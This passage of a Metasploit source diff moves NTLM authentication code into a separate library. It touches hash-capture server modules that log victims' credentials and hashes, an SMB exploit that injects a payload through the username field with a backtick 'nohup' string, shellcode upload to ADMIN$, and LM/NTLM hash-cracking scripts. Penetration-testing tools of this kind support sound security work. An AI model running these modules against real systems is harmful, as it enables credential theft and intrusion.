s = str.dup
until s.empty?
(ret ||= []).push s.slice!(0, n)
end
else
ret = str
end
ret
end
#
#Pack a value as 64 bit litle endian; does not exist for Array.pack
#
def self.pack_int64le(val)
[val & 0x00000000ffffffff, val >> 32].pack("V2")
end
protected

View File

@ -93,8 +93,8 @@ class Metasploit3 < Msf::Auxiliary
user = "USER"
domain = "DOMAIN"
hash_lm = Rex::Proto::SMB::Crypt.lanman_des("X", "X" * 8)
hash_nt = Rex::Proto::SMB::Crypt.ntlm_md4("X", "X" * 8)
hash_lm = Rex::Proto::NTLM::Crypt.lanman_des("X", "X" * 8)
hash_nt = Rex::Proto::NTLM::Crypt.ntlm_md4("X", "X" * 8)
data = ''
data << hash_lm

View File

@ -11,7 +11,7 @@
require 'msf/core'
require 'net/ntlm'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary

View File

@ -11,11 +11,12 @@
require 'msf/core'
require 'rex/proto/smb/constants'
CONST = Rex::Proto::SMB::Constants
require 'rex/proto/ntlm/constants'
require 'rex/proto/smb/utils'
UTILS = Rex::Proto::SMB::Utils
NTLM_CONST = Rex::Proto::NTLM::Constants
require 'rex/proto/ntlm/message'
MESSAGE = Rex::Proto::NTLM::Message
class Metasploit3 < Msf::Auxiliary
@ -110,13 +111,13 @@ class Metasploit3 < Msf::Auxiliary
end
response = create_response(401, "Unauthorized")
chalhash = UTILS.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
response.headers['WWW-Authenticate'] = "NTLM " + chalhash
return response
#if the message is a type 3 message, then we have our creds
elsif(message[8,1] == "\x03")
domain,user,host,lm_hash,ntlm_hash = UTILS.process_type3_message(hash)
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash)
print_status("#{cli.peerhost}: #{domain}\\#{user} #{lm_hash}:#{ntlm_hash} on #{host}")
if(datastore['LOGFILE'])
@ -165,12 +166,12 @@ class Metasploit3 < Msf::Auxiliary
reqflags = message[12,4]
reqflags = reqflags.unpack("V").first
if((reqflags & CONST::NEGOTIATE_DOMAIN) == CONST::NEGOTIATE_DOMAIN)
if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN)
dom_len = message[16,2].unpack('v')[0].to_i
dom_off = message[20,2].unpack('v')[0].to_i
domain = message[dom_off,dom_len].to_s
end
if((reqflags & CONST::NEGOTIATE_WORKSTATION) == CONST::NEGOTIATE_WORKSTATION)
if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION)
wor_len = message[24,2].unpack('v')[0].to_i
wor_off = message[28,2].unpack('v')[0].to_i
workstation = message[wor_off,wor_len].to_s

View File

@ -61,20 +61,20 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options(
[
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation", false ]),
OptBool.new("NTLM_EXTENDED_SECURITY", [ true, "Use ntlm extended security when smb extended security is set", false ]),
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set", false ]),
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
OptBool.new("NTLM_UseNTLM2_session", [ true, "activate the 'Negotiate NTLM2 key' flag in ntlm authentification when smb extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set, when this flag is not set windows will respond without gss encapsulation, ubuntu will still use gss", false ]),
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
], self.class)
end
def run
def run
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
@s_ntlm_esn = datastore['NTLM_EXTENDED_SECURITY']
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
@s_gss_neg = datastore['USE_GSS_NEGOCIATION']
@domain_name = datastore['DOMAIN_NAME']
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
@ -184,7 +184,7 @@ class Metasploit3 < Msf::Auxiliary
pkt['Payload'].v['Payload'] = @s_GUID
if @s_gss_neg then
pkt['Payload'].v['Payload'] += UTILS::make_simple_negotiate_secblob_resp
pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp
end
else
@ -231,13 +231,13 @@ class Metasploit3 < Msf::Auxiliary
end
ntlm_message = NTLM::Message.parse(blob)
ntlm_message = NTLM_MESSAGE::parse(blob)
case ntlm_message
when NTLM::Message::Type1
when NTLM_MESSAGE::Type1
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
if (ntlm_message.flag & CONST::NEGOTIATE_NTLM2_KEY != 0)
if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0)
c_ntlm_esn = true
else
c_ntlm_esn = false
@ -269,14 +269,14 @@ class Metasploit3 < Msf::Auxiliary
sb_flag = 0xe2828215 #no ntlm2
end
if c_gss
securityblob = UTILS::make_ntlmv2_secblob_chall( win_domain,
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag)
else
securityblob = UTILS::make_ntlm_type2_blob( win_domain,
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain,
win_name,
dns_domain,
dns_name,
@ -289,7 +289,7 @@ class Metasploit3 < Msf::Auxiliary
c.put(pkt.to_s)
when NTLM::Message::Type3
when NTLM_MESSAGE::Type3
#we can process the hash and send a status_logon_failure response packet
# Record the remote multiplex ID
@ -298,18 +298,18 @@ class Metasploit3 < Msf::Auxiliary
nt_len = ntlm_message.ntlm_response.length
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
}
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = CONST::NTLM_2_SESSION_RESPONSE
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24 #lmv2/ntlmv2
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
@ -363,14 +363,14 @@ class Metasploit3 < Msf::Auxiliary
if nt_len == 24
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
}
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
@ -410,7 +410,7 @@ class Metasploit3 < Msf::Auxiliary
def smb_get_hash(smb,arg = {})
ntlm_ver = arg[:ntlm_ver]
if ntlm_ver == CONST::NTLM_V1_RESPONSE or ntlm_ver == CONST::NTLM_2_SESSION_RESPONSE
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
else
@ -441,9 +441,9 @@ class Metasploit3 < Msf::Auxiliary
@previous_ntlm_hash = nt_hash
#TODO: check if the hash crrespond to an empty password
if ntlm_ver == CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
lm_hash_message = "Disabled"
elsif ntlm_ver == CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
elsif ntlm_ver == NTLM_CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = "Disabled"
lm_chall_message = 'Disabled'
else
@ -453,12 +453,12 @@ class Metasploit3 < Msf::Auxiliary
capturedtime = Time.now.to_s
case ntlm_ver
when CONST::NTLM_V1_RESPONSE
when NTLM_CONST::NTLM_V1_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" +
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
when CONST::NTLM_V2_RESPONSE
when NTLM_CONST::NTLM_V2_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" +
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
@ -466,7 +466,7 @@ class Metasploit3 < Msf::Auxiliary
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
when CONST::NTLM_2_SESSION_RESPONSE
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" +
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
@ -516,7 +516,7 @@ class Metasploit3 < Msf::Auxiliary
end
if(datastore['CAINPWFILE'] and smb[:username])
if ntlm_ver == CONST::NTLM_V1_RESPONSE then
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE then
fd = File.open(datastore['CAINPWFILE'], "ab")
fd.puts(
[
@ -533,7 +533,7 @@ class Metasploit3 < Msf::Auxiliary
if(datastore['JOHNPWFILE'] and smb[:username])
case ntlm_ver
when CONST::NTLM_V1_RESPONSE
when NTLM_CONST::NTLM_V1_RESPONSE
fd = File.open(datastore['JOHNPWFILE'] + '_lmv1_ntlmv1', "ab")
fd.puts(
@ -546,7 +546,7 @@ class Metasploit3 < Msf::Auxiliary
].join(":").gsub(/\n/, "\\n")
)
fd.close
when CONST::NTLM_V2_RESPONSE
when NTLM_CONST::NTLM_V2_RESPONSE
#lmv2
fd = File.open(datastore['JOHNPWFILE'] + '_lmv2', "ab")
fd.puts(

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::SMB
# For our customized version of session_setup_ntlmv1
# For our customized version of session_setup_no_ntlmssp
CONST = Rex::Proto::SMB::Constants
CRYPT = Rex::Proto::SMB::Crypt
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
username = "/=`nohup " + payload.encoded + "`"
begin
simple.client.negotiate(false)
simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)
rescue ::Timeout::Error, XCEPT::LoginError
# nothing, it either worked or it didn't ;)
end

View File

@ -142,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Remote
begin
client.session_request(smb_hostname()) if not datastore['SMBDirect']
client.negotiate
client.session_setup_ntlmv2_blob(token)
client.session_setup_with_ntlmssp_blob(token)
rescue => e
if (e.to_s =~ /error code 0x00050001/)
print_error("The target system has already been exploited")
@ -180,7 +180,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Returns an ASN.1 encoded string
def enc_asn1(str)
Rex::Proto::SMB::Utils::asn1encode(str)
Rex::Proto::NTLM::Utils::asn1encode(str)
end
# Returns an ASN.1 encoded bit string with 0 unused bits

View File

@ -131,7 +131,8 @@ class Metasploit3 < Msf::Exploit::Remote
# Upload the shellcode to a file
print_status("Uploading payload...")
simple.connect("ADMIN$")
fd = simple.open("\\#{filename}", 'rwct')
fd = smb_open("\\#{filename}", 'rwct')
exe = ''
opts = { :servicename => servicename }

View File

@ -20,16 +20,17 @@ def usage
exit
end
def try(word)
buf = ::Rex::Proto::SMB::Crypt.lanman_des(word, "\x11\x22\x33\x44\x55\x66\x77\x88")
def try(word,challenge)
buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge)
buf.unpack("H*")[0]
end
hash = pass = nil
hash = pass = chall = nil
$args = Rex::Parser::Arguments.new(
"-n" => [ true, "The encypted LM hash to crack" ],
"-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ],
"-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ],
"-s" => [ true, "The server challenge (default value 1122334455667788)" ],
"-h" => [ false, "Display this help information" ])
@ -39,6 +40,8 @@ $args.parse(ARGV) { |opt, idx, val|
hash = val
when "-p"
pass = val
when "-s"
chall = val
when "-h"
usage
else
@ -50,6 +53,18 @@ if (not (hash and pass))
usage
end
if (not chall)
chall = ["1122334455667788"].pack("H*")
else
if not chall =~ /^([a-fA-F0-9]{16})$/
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
else
chall = [chall].pack("H*")
end
end
if(hash.length != 48)
$stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal"
exit
@ -60,6 +75,8 @@ if(pass.length != 7)
exit
end
pass = pass.upcase
hash = hash.downcase
@ -69,7 +86,7 @@ stime = Time.now.to_f
puts "[*] Trying one character..."
0.upto(cset.length-1) do |c1|
test = pass + cset[c1].chr
if(try(test) == hash)
if(try(test, chall) == hash)
puts "[*] Cracked: #{test}"
exit
end
@ -80,7 +97,7 @@ puts "[*] Trying two characters (eta: #{etime * cset.length} seconds)..."
0.upto(cset.length-1) do |c1|
0.upto(cset.length-1) do |c2|
test = pass + cset[c1].chr + cset[c2].chr
if(try(test) == hash)
if(try(test, chall) == hash)
puts "[*] Cracked: #{test}"
exit
end
@ -92,7 +109,7 @@ puts "[*] Trying three characters (eta: #{etime * cset.length * cset.length} sec
0.upto(cset.length-1) do |c2|
0.upto(cset.length-1) do |c3|
test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr
if(try(test) == hash)
if(try(test, chall) == hash)
puts "[*] Cracked: #{test}"
exit
end
@ -107,7 +124,7 @@ puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cse
0.upto(cset.length-1) do |c3|
0.upto(cset.length-1) do |c4|
test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr
if(try(test) == hash)
if(try(test, chall) == hash)
puts "[*] Cracked: #{test}"
exit
end

View File

@ -12,7 +12,9 @@ msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))
require 'rex'
require 'net/ntlm'
require 'rex/proto/ntlm/crypt'
CRYPT = Rex::Proto::NTLM::Crypt
BRUTE_MODE = 1
HASH_MODE = 2
@ -125,7 +127,7 @@ when "HALFLM"
password = line.gsub("\r\n",'').gsub("\n",'')
if password =~ /^.{1,7}$/
puts password
calculatedhash = Net::NTLM::lm_hash(password,true).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_hash(password,true).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
@ -146,7 +148,7 @@ when "HALFLM"
$stderr.puts "[*] LM password can not be bigger then 7 characters"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
@ -158,7 +160,7 @@ when "HALFLM"
$stderr.puts "[*] LM HASH must be exactly 16 bytes of hexadecimal"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass,true).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_hash(pass,true).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
@ -182,7 +184,7 @@ when "LM"
password = line.gsub("\r\n",'').gsub("\n",'')
if password =~ /^.{1,14}$/
puts password
calculatedhash = Net::NTLM::lm_hash(password.upcase).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_hash(password.upcase).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
@ -203,7 +205,7 @@ when "LM"
$stderr.puts "[*] LM password can not be bigger then 14 characters"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase
puts "[*] The LM hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
@ -215,7 +217,7 @@ when "LM"
$stderr.puts "[*] LM HASH must be exactly 32 bytes of hexadecimal"
exit
end
calculatedhash = Net::NTLM::lm_hash(pass.upcase).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_hash(pass.upcase).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
@ -238,7 +240,7 @@ when "NTLM"
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
calculatedhash = Net::NTLM::ntlm_hash(password).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm_hash(password).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
@ -254,7 +256,7 @@ when "NTLM"
exit
end
when HASH_MODE
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase
puts "[*] The NTLM hash for #{pass} is : #{calculatedhash}"
exit
when PASS_MODE
@ -262,7 +264,7 @@ when "NTLM"
$stderr.puts "[*] NTLM HASH must be exactly 32 bytes of hexadecimal"
exit
end
calculatedhash = Net::NTLM::ntlm_hash(pass).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm_hash(pass).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass}"
exit
@ -294,9 +296,9 @@ when "HALFNETLMv1"
if password =~ /^.{1,7}$/
puts password
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
arglm = { :lm_hash => Net::NTLM::lm_hash(password,true)[0,7],
arglm = { :lm_hash => CRYPT::lm_hash(password,true)[0,7],
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
@ -325,10 +327,10 @@ when "HALFNETLMv1"
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7],
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase
puts "[*] The HALFNETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
@ -349,10 +351,10 @@ when "HALFNETLMv1"
exit
end
#Rem : cause of the [0,7] there is only 1/256 chance that the guessed password will be the good one
arglm = { :lm_hash => Net::NTLM::lm_hash(pass,true)[0,7],
arglm = { :lm_hash => CRYPT::lm_hash(pass,true)[0,7],
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm,true).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_response(arglm,true).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
@ -383,9 +385,9 @@ when "NETLMv1"
password = line.gsub("\r\n",'').gsub("\n",'')
if password =~ /^.{1,14}$/
puts password
arglm = { :lm_hash => Net::NTLM::lm_hash(password),
arglm = { :lm_hash => CRYPT::lm_hash(password),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
@ -414,10 +416,10 @@ when "NETLMv1"
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
arglm = { :lm_hash => CRYPT::lm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase
puts "[*] The NETLMv1 hash for #{pass.upcase} is : #{calculatedhash}"
exit
when PASS_MODE
@ -437,10 +439,10 @@ when "NETLMv1"
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
arglm = { :lm_hash => Net::NTLM::lm_hash(pass),
arglm = { :lm_hash => CRYPT::lm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::lm_response(arglm).unpack("H*")[0].upcase
calculatedhash = CRYPT::lm_response(arglm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass.upcase}"
exit
@ -470,9 +472,9 @@ when "NETNTLMv1"
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(password),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
match_password = password
@ -496,9 +498,9 @@ when "NETNTLMv1"
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase
puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}"
exit
when PASS_MODE
@ -514,10 +516,10 @@ when "NETNTLMv1"
$stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass}"
exit
@ -556,11 +558,11 @@ when "NETNTLM2_SESSION"
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password),
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(password),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
if calculatedhash == hash.upcase
found = true
@ -593,11 +595,11 @@ when "NETNTLM2_SESSION"
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}"
exit
when PASS_MODE
@ -621,11 +623,11 @@ when "NETNTLM2_SESSION"
$stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal"
exit
end
argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass),
argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase
if hash.upcase == calculatedhash
puts "[*] Correct password provided : #{pass}"
@ -673,10 +675,10 @@ when "NETLMv2"
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,password, domain),
arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain),
:challenge => [ srvchal ].pack("H*") }
optlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
if calculatedhash.slice(0,32) == hash.upcase
found = true
match_password = password
@ -717,10 +719,10 @@ when "NETLMv2"
exit
end
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain),
:challenge => [ srvchal ].pack("H*") }
optlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
exit
@ -753,10 +755,10 @@ when "NETLMv2"
$stderr.puts "[*] Domain name must be provided with this type"
exit
end
arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain),
arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain),
:challenge => [ srvchal ].pack("H*") }
optlm = { :client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash.slice(0,32)
puts "[*] Correct password provided : #{pass}"
exit
@ -804,10 +806,10 @@ when "NETNTLMv2"
password_list.each_line do |line|
password = line.gsub("\r\n",'').gsub("\n",'')
puts password
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, password, domain),
argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, password, domain),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
if calculatedhash.slice(0,32) == hash.upcase
found = true
@ -849,10 +851,10 @@ when "NETNTLMv2"
exit
end
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}"
exit
@ -886,10 +888,10 @@ when "NETNTLMv2"
exit
end
argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain),
argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain),
:challenge => [ srvchal ].pack("H*") }
optntlm = { :nt_client_challenge => [ clichal ].pack("H*")}
calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase
if hash.upcase == calculatedhash.slice(0,32)
puts "[*] Correct password provided : #{pass}"